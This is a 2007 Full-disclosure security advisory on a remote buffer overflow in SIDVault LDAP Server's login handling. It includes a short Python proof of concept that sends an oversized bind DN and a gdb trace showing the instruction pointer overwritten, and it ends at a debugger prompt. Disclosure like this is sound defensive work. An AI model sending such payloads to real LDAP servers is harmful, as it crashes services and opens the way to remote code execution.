[Full-disclosure] SIDVault LDAP Server Remote Buffer Overflow

Subject: [Full-disclosure] SIDVault LDAP Server Remote Buffer Overflow
Date: Sun, 26 Aug 2007 02:50:11 +0200
SIDVault LDAP Server Remote Buffer Overflow
===========================================

Product Description:

SIDVault LDAP Server for Win32 and GNU/Linux

SIDVault is a Simple Integration Database, allowing easy management and
installations with high performance LDAP v3 server. It supports any
number of schemas, easy to add/modify existing schemas, integrated web
based user access, and fast browser based administration tools. Supports
all relevant RFC protocols LDAP v2, LDAP v3, HTTP, ILS. 

Vulnerable versions:

        Win32 2.0e
        Linux 2.0d

Vulnerability Details:

The login mechanism is prone to multiple buffer-overflow vulnerabilities
because it fails to adequately bounds-check user-supplied input before
copying it to an insufficiently sized buffer.

Successfully exploiting the issue will allow an attacker to execute
arbitrary code with root or SYSTEM-level privileges depending on the
operative system target. Failed exploit attempts will result in a
denial-of-service condition. 

Proof of concept:

# gdb /usr/local/sidvault/sidvault
(...)
(gdb) r -run

In another terminal:

$ cat poc.py
import ldap

l = ldap.open("localhost")
l.simple_bind("dc=" + "A"*4099, "B"*256)
$ ./poc.py

In the first terminal:

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()
(gdb) where
